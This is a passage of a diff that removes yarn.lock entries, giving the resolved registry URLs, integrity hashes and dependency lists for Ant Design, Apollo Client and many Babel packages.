-    rc-util "^5.9.4"
-
-"@ant-design/react-slick@~0.28.1":
-  version "0.28.3"
-  resolved "https://registry.yarnpkg.com/@ant-design/react-slick/-/react-slick-0.28.3.tgz#ad5cf1cf50363c1a3842874d69d0ce1f26696e71"
-  integrity sha512-u3onF2VevGRbkGbgpldVX/nzd7LFtLeZJE0x2xIFT2qYHKkJZ6QT/jQ7KqYK4UpeTndoyrbMqLN4DiJza4BVBg==
-  dependencies:
-    "@babel/runtime" "^7.10.4"
-    classnames "^2.2.5"
-    json2mq "^0.2.0"
-    lodash "^4.17.21"
-    resize-observer-polyfill "^1.5.0"
-
-"@apollo/client@latest":
-  version "3.3.20"
-  resolved "https://registry.yarnpkg.com/@apollo/client/-/client-3.3.20.tgz#8f0935fa991857e9cf2e73c9bd378ad7ec97caf8"
-  integrity sha512-hS7UmBwJweudw/J3M0RAcusMHNiRuGqkRH6g91PM2ev8cXScIMdXr/++9jo7wD1nAITMCMF4HQQ3LFaw/Or0Bw==
-  dependencies:
-    "@graphql-typed-document-node/core" "^3.0.0"
-    "@types/zen-observable" "^0.8.0"
-    "@wry/context" "^0.6.0"
-    "@wry/equality" "^0.5.0"
-    fast-json-stable-stringify "^2.0.0"
-    graphql-tag "^2.12.0"
-    hoist-non-react-statics "^3.3.2"
-    optimism "^0.16.0"
-    prop-types "^15.7.2"
-    symbol-observable "^4.0.0"
-    ts-invariant "^0.7.0"
-    tslib "^1.10.0"
-    zen-observable "^0.8.14"
-
-"@apollo/react-hooks@^4.0.0":
-  version "4.0.0"
-  resolved "https://registry.yarnpkg.com/@apollo/react-hooks/-/react-hooks-4.0.0.tgz#7bf7b320c90d276f637d9a84b503e17b840dd4e6"
-  integrity sha512-fCu0cbne3gbUl0QbA8X4L33iuuFVQbC5Jo2MIKRK8CyawR6PoxDpFdFA1kc6033ODZuZZ9Eo4RdeJFlFIIYcLA==
-  dependencies:
-    "@apollo/client" latest
-
-"@babel/code-frame@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.8.3.tgz#33e25903d7481181534e12ec0a25f16b6fcf419e"
-  integrity sha512-a9gxpmdXtZEInkCSHUJDLHZVBgb1QS0jhss4cPP93EW7s+uC5bikET2twEF3KV+7rDblJcmNvTR7VJejqd2C2g==
-  dependencies:
-    "@babel/highlight" "^7.8.3"
-
-"@babel/code-frame@^7.0.0", "@babel/code-frame@^7.10.4", "@babel/code-frame@^7.14.5", "@babel/code-frame@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/code-frame/-/code-frame-7.14.5.tgz#23b08d740e83f49c5e59945fbf1b43e80bbf4edb"
-  integrity sha512-9pzDqyc6OLDaqe+zbACgFkb6fKMNG6CObKpnYXChRsvYGyEdc7CA2BaqeOM+vOtCS5ndmJicPJhKAwYRI6UfFw==
-  dependencies:
-    "@babel/highlight" "^7.14.5"
-
-"@babel/compat-data@^7.13.11", "@babel/compat-data@^7.14.5", "@babel/compat-data@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/compat-data/-/compat-data-7.14.5.tgz#8ef4c18e58e801c5c95d3c1c0f2874a2680fadea"
-  integrity sha512-kixrYn4JwfAVPa0f2yfzc2AWti6WRRyO3XjWW5PJAvtE11qhSayrrcrEnee05KAtNaPC+EwehE8Qt1UedEVB8w==
-
-"@babel/core@7.9.0":
-  version "7.9.0"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.9.0.tgz#ac977b538b77e132ff706f3b8a4dbad09c03c56e"
-  integrity sha512-kWc7L0fw1xwvI0zi8OKVBuxRVefwGOrKSQMvrQ3dW+bIIavBY3/NpXmpjMy7bQnLgwgzWQZ8TlM57YHpHNHz4w==
-  dependencies:
-    "@babel/code-frame" "^7.8.3"
-    "@babel/generator" "^7.9.0"
-    "@babel/helper-module-transforms" "^7.9.0"
-    "@babel/helpers" "^7.9.0"
-    "@babel/parser" "^7.9.0"
-    "@babel/template" "^7.8.6"
-    "@babel/traverse" "^7.9.0"
-    "@babel/types" "^7.9.0"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.1"
-    json5 "^2.1.2"
-    lodash "^4.17.13"
-    resolve "^1.3.2"
-    semver "^5.4.1"
-    source-map "^0.5.0"
-
-"@babel/core@^7.1.0", "@babel/core@^7.4.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/core/-/core-7.14.5.tgz#d281f46a9905f07d1b3bf71ead54d9c7d89cb1e3"
-  integrity sha512-RN/AwP2DJmQTZSfiDaD+JQQ/J99KsIpOCfBE5pL+5jJSt7nI3nYGoAXZu+ffYSQ029NLs2DstZb+eR81uuARgg==
-  dependencies:
-    "@babel/code-frame" "^7.14.5"
-    "@babel/generator" "^7.14.5"
-    "@babel/helper-compilation-targets" "^7.14.5"
-    "@babel/helper-module-transforms" "^7.14.5"
-    "@babel/helpers" "^7.14.5"
-    "@babel/parser" "^7.14.5"
-    "@babel/template" "^7.14.5"
-    "@babel/traverse" "^7.14.5"
-    "@babel/types" "^7.14.5"
-    convert-source-map "^1.7.0"
-    debug "^4.1.0"
-    gensync "^1.0.0-beta.2"
-    json5 "^2.1.2"
-    semver "^6.3.0"
-    source-map "^0.5.0"
-
-"@babel/generator@^7.14.5", "@babel/generator@^7.4.0", "@babel/generator@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/generator/-/generator-7.14.5.tgz#848d7b9f031caca9d0cd0af01b063f226f52d785"
-  integrity sha512-y3rlP+/G25OIX3mYKKIOlQRcqj7YgrvHxOLbVmyLJ9bPmi5ttvUmpydVjcFjZphOktWuA7ovbx91ECloWTfjIA==
-  dependencies:
-    "@babel/types" "^7.14.5"
-    jsesc "^2.5.1"
-    source-map "^0.5.0"
-
-"@babel/helper-annotate-as-pure@^7.0.0", "@babel/helper-annotate-as-pure@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.14.5.tgz#7bf478ec3b71726d56a8ca5775b046fc29879e61"
-  integrity sha512-EivH9EgBIb+G8ij1B2jAwSH36WnGvkQSEC6CkX/6v6ZFlw5fVOHvsgGF4uiEHO2GzMvunZb6tDLQEQSdrdocrA==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-builder-binary-assignment-operator-visitor@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.14.5.tgz#b939b43f8c37765443a19ae74ad8b15978e0a191"
-  integrity sha512-YTA/Twn0vBXDVGJuAX6PwW7x5zQei1luDDo2Pl6q1qZ7hVNl0RZrhHCQG/ArGpR29Vl7ETiB8eJyrvpuRp300w==
-  dependencies:
-    "@babel/helper-explode-assignable-expression" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-compilation-targets@^7.13.0", "@babel/helper-compilation-targets@^7.14.5", "@babel/helper-compilation-targets@^7.8.7":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-compilation-targets/-/helper-compilation-targets-7.14.5.tgz#7a99c5d0967911e972fe2c3411f7d5b498498ecf"
-  integrity sha512-v+QtZqXEiOnpO6EYvlImB6zCD2Lel06RzOPzmkz/D/XgQiUu3C/Jb1LOqSt/AIA34TYi/Q+KlT8vTQrgdxkbLw==
-  dependencies:
-    "@babel/compat-data" "^7.14.5"
-    "@babel/helper-validator-option" "^7.14.5"
-    browserslist "^4.16.6"
-    semver "^6.3.0"
-
-"@babel/helper-create-class-features-plugin@^7.14.5", "@babel/helper-create-class-features-plugin@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.14.5.tgz#8842ec495516dd1ed8f6c572be92ba78b1e9beef"
-  integrity sha512-Uq9z2e7ZtcnDMirRqAGLRaLwJn+Lrh388v5ETrR3pALJnElVh2zqQmdbz4W2RUJYohAPh2mtyPUgyMHMzXMncQ==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.14.5"
-    "@babel/helper-function-name" "^7.14.5"
-    "@babel/helper-member-expression-to-functions" "^7.14.5"
-    "@babel/helper-optimise-call-expression" "^7.14.5"
-    "@babel/helper-replace-supers" "^7.14.5"
-    "@babel/helper-split-export-declaration" "^7.14.5"
-
-"@babel/helper-create-regexp-features-plugin@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.14.5.tgz#c7d5ac5e9cf621c26057722fb7a8a4c5889358c4"
-  integrity sha512-TLawwqpOErY2HhWbGJ2nZT5wSkR192QpN+nBg1THfBfftrlvOh+WbhrxXCH4q4xJ9Gl16BGPR/48JA+Ryiho/A==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.14.5"
-    regexpu-core "^4.7.1"
-
-"@babel/helper-define-polyfill-provider@^0.2.2":
-  version "0.2.3"
-  resolved "https://registry.yarnpkg.com/@babel/helper-define-polyfill-provider/-/helper-define-polyfill-provider-0.2.3.tgz#0525edec5094653a282688d34d846e4c75e9c0b6"
-  integrity sha512-RH3QDAfRMzj7+0Nqu5oqgO5q9mFtQEVvCRsi8qCEfzLR9p2BHfn5FzhSB2oj1fF7I2+DcTORkYaQ6aTR9Cofew==
-  dependencies:
-    "@babel/helper-compilation-targets" "^7.13.0"
-    "@babel/helper-module-imports" "^7.12.13"
-    "@babel/helper-plugin-utils" "^7.13.0"
-    "@babel/traverse" "^7.13.0"
-    debug "^4.1.1"
-    lodash.debounce "^4.0.8"
-    resolve "^1.14.2"
-    semver "^6.1.2"
-
-"@babel/helper-explode-assignable-expression@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.14.5.tgz#8aa72e708205c7bb643e45c73b4386cdf2a1f645"
-  integrity sha512-Htb24gnGJdIGT4vnRKMdoXiOIlqOLmdiUYpAQ0mYfgVT/GDm8GOYhgi4GL+hMKrkiPRohO4ts34ELFsGAPQLDQ==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-function-name@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-function-name/-/helper-function-name-7.14.5.tgz#89e2c474972f15d8e233b52ee8c480e2cfcd50c4"
-  integrity sha512-Gjna0AsXWfFvrAuX+VKcN/aNNWonizBj39yGwUzVDVTlMYJMK2Wp6xdpy72mfArFq5uK+NOuexfzZlzI1z9+AQ==
-  dependencies:
-    "@babel/helper-get-function-arity" "^7.14.5"
-    "@babel/template" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-get-function-arity@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-get-function-arity/-/helper-get-function-arity-7.14.5.tgz#25fbfa579b0937eee1f3b805ece4ce398c431815"
-  integrity sha512-I1Db4Shst5lewOM4V+ZKJzQ0JGGaZ6VY1jYvMghRjqs6DWgxLCIyFt30GlnKkfUeFLpJt2vzbMVEXVSXlIFYUg==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-hoist-variables@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-hoist-variables/-/helper-hoist-variables-7.14.5.tgz#e0dd27c33a78e577d7c8884916a3e7ef1f7c7f8d"
-  integrity sha512-R1PXiz31Uc0Vxy4OEOm07x0oSjKAdPPCh3tPivn/Eo8cvz6gveAeuyUUPB21Hoiif0uoPQSSdhIPS3352nvdyQ==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-member-expression-to-functions@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.14.5.tgz#d5c70e4ad13b402c95156c7a53568f504e2fb7b8"
-  integrity sha512-UxUeEYPrqH1Q/k0yRku1JE7dyfyehNwT6SVkMHvYvPDv4+uu627VXBckVj891BO8ruKBkiDoGnZf4qPDD8abDQ==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-module-imports@^7.0.0", "@babel/helper-module-imports@^7.12.13", "@babel/helper-module-imports@^7.14.5", "@babel/helper-module-imports@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-imports/-/helper-module-imports-7.14.5.tgz#6d1a44df6a38c957aa7c312da076429f11b422f3"
-  integrity sha512-SwrNHu5QWS84XlHwGYPDtCxcA0hrSlL2yhWYLgeOc0w7ccOl2qv4s/nARI0aYZW+bSwAL5CukeXA47B/1NKcnQ==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-module-transforms@^7.14.5", "@babel/helper-module-transforms@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-module-transforms/-/helper-module-transforms-7.14.5.tgz#7de42f10d789b423eb902ebd24031ca77cb1e10e"
-  integrity sha512-iXpX4KW8LVODuAieD7MzhNjmM6dzYY5tfRqT+R9HDXWl0jPn/djKmA+G9s/2C2T9zggw5tK1QNqZ70USfedOwA==
-  dependencies:
-    "@babel/helper-module-imports" "^7.14.5"
-    "@babel/helper-replace-supers" "^7.14.5"
-    "@babel/helper-simple-access" "^7.14.5"
-    "@babel/helper-split-export-declaration" "^7.14.5"
-    "@babel/helper-validator-identifier" "^7.14.5"
-    "@babel/template" "^7.14.5"
-    "@babel/traverse" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-optimise-call-expression@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.14.5.tgz#f27395a8619e0665b3f0364cddb41c25d71b499c"
-  integrity sha512-IqiLIrODUOdnPU9/F8ib1Fx2ohlgDhxnIDU7OEVi+kAbEZcyiF7BLU8W6PfvPi9LzztjS7kcbzbmL7oG8kD6VA==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-plugin-utils@^7.0.0", "@babel/helper-plugin-utils@^7.10.4", "@babel/helper-plugin-utils@^7.12.13", "@babel/helper-plugin-utils@^7.13.0", "@babel/helper-plugin-utils@^7.14.5", "@babel/helper-plugin-utils@^7.8.0", "@babel/helper-plugin-utils@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-plugin-utils/-/helper-plugin-utils-7.14.5.tgz#5ac822ce97eec46741ab70a517971e443a70c5a9"
-  integrity sha512-/37qQCE3K0vvZKwoK4XU/irIJQdIfCJuhU5eKnNxpFDsOkgFaUAwbv+RYw6eYgsC0E4hS7r5KqGULUogqui0fQ==
-
-"@babel/helper-remap-async-to-generator@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.14.5.tgz#51439c913612958f54a987a4ffc9ee587a2045d6"
-  integrity sha512-rLQKdQU+HYlxBwQIj8dk4/0ENOUEhA/Z0l4hN8BexpvmSMN9oA9EagjnhnDpNsRdWCfjwa4mn/HyBXO9yhQP6A==
-  dependencies:
-    "@babel/helper-annotate-as-pure" "^7.14.5"
-    "@babel/helper-wrap-function" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-replace-supers@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-replace-supers/-/helper-replace-supers-7.14.5.tgz#0ecc0b03c41cd567b4024ea016134c28414abb94"
-  integrity sha512-3i1Qe9/8x/hCHINujn+iuHy+mMRLoc77b2nI9TB0zjH1hvn9qGlXjWlggdwUcju36PkPCy/lpM7LLUdcTyH4Ow==
-  dependencies:
-    "@babel/helper-member-expression-to-functions" "^7.14.5"
-    "@babel/helper-optimise-call-expression" "^7.14.5"
-    "@babel/traverse" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-simple-access@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.14.5.tgz#66ea85cf53ba0b4e588ba77fc813f53abcaa41c4"
-  integrity sha512-nfBN9xvmCt6nrMZjfhkl7i0oTV3yxR4/FztsbOASyTvVcoYd0TRHh7eMLdlEcCqobydC0LAF3LtC92Iwxo0wyw==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-skip-transparent-expression-wrappers@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.14.5.tgz#96f486ac050ca9f44b009fbe5b7d394cab3a0ee4"
-  integrity sha512-dmqZB7mrb94PZSAOYtr+ZN5qt5owZIAgqtoTuqiFbHFtxgEcmQlRJVI+bO++fciBunXtB6MK7HrzrfcAzIz2NQ==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-split-export-declaration@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.14.5.tgz#22b23a54ef51c2b7605d851930c1976dd0bc693a"
-  integrity sha512-hprxVPu6e5Kdp2puZUmvOGjaLv9TCe58E/Fl6hRq4YiVQxIcNvuq6uTM2r1mT/oPskuS9CgR+I94sqAYv0NGKA==
-  dependencies:
-    "@babel/types" "^7.14.5"
-
-"@babel/helper-validator-identifier@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.14.5.tgz#d0f0e277c512e0c938277faa85a3968c9a44c0e8"
-  integrity sha512-5lsetuxCLilmVGyiLEfoHBRX8UCFD+1m2x3Rj97WrW3V7H3u4RWRXA4evMjImCsin2J2YT0QaVDGf+z8ondbAg==
-
-"@babel/helper-validator-option@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.14.5.tgz#6e72a1fff18d5dfcb878e1e62f1a021c4b72d5a3"
-  integrity sha512-OX8D5eeX4XwcroVW45NMvoYaIuFI+GQpA2a8Gi+X/U/cDUIRsV37qQfF905F0htTRCREQIB4KqPeaveRJUl3Ow==
-
-"@babel/helper-wrap-function@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.14.5.tgz#5919d115bf0fe328b8a5d63bcb610f51601f2bff"
-  integrity sha512-YEdjTCq+LNuNS1WfxsDCNpgXkJaIyqco6DAelTUjT4f2KIWC1nBcaCaSdHTBqQVLnTBexBcVcFhLSU1KnYuePQ==
-  dependencies:
-    "@babel/helper-function-name" "^7.14.5"
-    "@babel/template" "^7.14.5"
-    "@babel/traverse" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/helpers@^7.14.5", "@babel/helpers@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.14.5.tgz#4870f8d9a6fdbbd65e5674a3558b4ff7fef0d9b2"
-  integrity sha512-xtcWOuN9VL6nApgVHtq3PPcQv5qFBJzoSZzJ/2c0QK/IP/gxVcoWSNQwFEGvmbQsuS9rhYqjILDGGXcTkA705Q==
-  dependencies:
-    "@babel/template" "^7.14.5"
-    "@babel/traverse" "^7.14.5"
-    "@babel/types" "^7.14.5"
-
-"@babel/highlight@^7.14.5", "@babel/highlight@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.14.5.tgz#6861a52f03966405001f6aa534a01a24d99e8cd9"
-  integrity sha512-qf9u2WFWVV0MppaL877j2dBtQIDgmidgjGk5VIMw3OadXvYaXn66U1BFlH2t4+t3i+8PhedppRv+i40ABzd+gg==
-  dependencies:
-    "@babel/helper-validator-identifier" "^7.14.5"
-    chalk "^2.0.0"
-    js-tokens "^4.0.0"
-
-"@babel/parser@^7.1.0", "@babel/parser@^7.14.5", "@babel/parser@^7.4.3", "@babel/parser@^7.7.0", "@babel/parser@^7.9.0":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.14.5.tgz#4cd2f346261061b2518873ffecdf1612cb032829"
-  integrity sha512-TM8C+xtH/9n1qzX+JNHi7AN2zHMTiPUtspO0ZdHflW8KaskkALhMmuMHb4bCmNdv9VAPzJX3/bXqkVLnAvsPfg==
-
-"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.14.5.tgz#4b467302e1548ed3b1be43beae2cc9cf45e0bb7e"
-  integrity sha512-ZoJS2XCKPBfTmL122iP6NM9dOg+d4lc9fFk3zxc8iDjvt8Pk4+TlsHSKhIPf6X+L5ORCdBzqMZDjL/WHj7WknQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.14.5"
-    "@babel/plugin-proposal-optional-chaining" "^7.14.5"
-
-"@babel/plugin-proposal-async-generator-functions@^7.14.5", "@babel/plugin-proposal-async-generator-functions@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.14.5.tgz#4024990e3dd74181f4f426ea657769ff49a2df39"
-  integrity sha512-tbD/CG3l43FIXxmu4a7RBe4zH7MLJ+S/lFowPFO7HetS2hyOZ/0nnnznegDuzFzfkyQYTxqdTH/hKmuBngaDAA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-remap-async-to-generator" "^7.14.5"
-    "@babel/plugin-syntax-async-generators" "^7.8.4"
-
-"@babel/plugin-proposal-class-properties@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.8.3.tgz#5e06654af5cd04b608915aada9b2a6788004464e"
-  integrity sha512-EqFhbo7IosdgPgZggHaNObkmO1kNUe3slaKu54d5OWvy+p9QIKOzK1GAEpAIsZtWVtPXUHSMcT4smvDrCfY4AA==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-
-"@babel/plugin-proposal-class-properties@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.14.5.tgz#40d1ee140c5b1e31a350f4f5eed945096559b42e"
-  integrity sha512-q/PLpv5Ko4dVc1LYMpCY7RVAAO4uk55qPwrIuJ5QJ8c6cVuAmhu7I/49JOppXL6gXf7ZHzpRVEUZdYoPLM04Gg==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-proposal-class-static-block@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.14.5.tgz#158e9e10d449c3849ef3ecde94a03d9f1841b681"
-  integrity sha512-KBAH5ksEnYHCegqseI5N9skTdxgJdmDoAOc0uXa+4QMYKeZD0w5IARh4FMlTNtaHhbB8v+KzMdTgxMMzsIy6Yg==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.14.5"
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-class-static-block" "^7.14.5"
-
-"@babel/plugin-proposal-decorators@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-decorators/-/plugin-proposal-decorators-7.8.3.tgz#2156860ab65c5abf068c3f67042184041066543e"
-  integrity sha512-e3RvdvS4qPJVTe288DlXjwKflpfy1hr0j5dz5WpIYYeP7vQZg2WfAEIp8k5/Lwis/m5REXEteIz6rrcDtXXG7w==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.8.3"
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-decorators" "^7.8.3"
-
-"@babel/plugin-proposal-dynamic-import@^7.14.5", "@babel/plugin-proposal-dynamic-import@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.14.5.tgz#0c6617df461c0c1f8fff3b47cd59772360101d2c"
-  integrity sha512-ExjiNYc3HDN5PXJx+bwC50GIx/KKanX2HiggnIUAYedbARdImiCU4RhhHfdf0Kd7JNXGpsBBBCOm+bBVy3Gb0g==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-
-"@babel/plugin-proposal-export-namespace-from@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.14.5.tgz#dbad244310ce6ccd083072167d8cea83a52faf76"
-  integrity sha512-g5POA32bXPMmSBu5Dx/iZGLGnKmKPc5AiY7qfZgurzrCYgIztDlHFbznSNCoQuv57YQLnQfaDi7dxCtLDIdXdA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-
-"@babel/plugin-proposal-json-strings@^7.14.5", "@babel/plugin-proposal-json-strings@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.14.5.tgz#38de60db362e83a3d8c944ac858ddf9f0c2239eb"
-  integrity sha512-NSq2fczJYKVRIsUJyNxrVUMhB27zb7N7pOFGQOhBKJrChbGcgEAqyZrmZswkPk18VMurEeJAaICbfm57vUeTbQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-json-strings" "^7.8.3"
-
-"@babel/plugin-proposal-logical-assignment-operators@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.14.5.tgz#6e6229c2a99b02ab2915f82571e0cc646a40c738"
-  integrity sha512-YGn2AvZAo9TwyhlLvCCWxD90Xq8xJ4aSgaX3G5D/8DW94L8aaT+dS5cSP+Z06+rCJERGSr9GxMBZ601xoc2taw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-
-"@babel/plugin-proposal-nullish-coalescing-operator@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.8.3.tgz#e4572253fdeed65cddeecfdab3f928afeb2fd5d2"
-  integrity sha512-TS9MlfzXpXKt6YYomudb/KU7nQI6/xnapG6in1uZxoxDghuSMZsPb6D2fyUwNYSAp4l1iR7QtFOjkqcRYcUsfw==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
-
-"@babel/plugin-proposal-nullish-coalescing-operator@^7.14.5", "@babel/plugin-proposal-nullish-coalescing-operator@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.14.5.tgz#ee38589ce00e2cc59b299ec3ea406fcd3a0fdaf6"
-  integrity sha512-gun/SOnMqjSb98Nkaq2rTKMwervfdAoz6NphdY0vTfuzMfryj+tDGb2n6UkDKwez+Y8PZDhE3D143v6Gepp4Hg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-
-"@babel/plugin-proposal-numeric-separator@7.8.3":
-  version "7.8.3"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.8.3.tgz#5d6769409699ec9b3b68684cd8116cedff93bad8"
-  integrity sha512-jWioO1s6R/R+wEHizfaScNsAx+xKgwTLNXSh7tTC4Usj3ItsPEhYkEpU4h+lpnBwq7NBVOJXfO6cRFYcX69JUQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.8.3"
-    "@babel/plugin-syntax-numeric-separator" "^7.8.3"
-
-"@babel/plugin-proposal-numeric-separator@^7.14.5", "@babel/plugin-proposal-numeric-separator@^7.8.3":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.14.5.tgz#83631bf33d9a51df184c2102a069ac0c58c05f18"
-  integrity sha512-yiclALKe0vyZRZE0pS6RXgjUOt87GWv6FYa5zqj15PvhOGFO69R5DusPlgK/1K5dVnCtegTiWu9UaBSrLLJJBg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-
-"@babel/plugin-proposal-object-rest-spread@^7.14.5", "@babel/plugin-proposal-object-rest-spread@^7.9.0":
-  version "7.14.5"
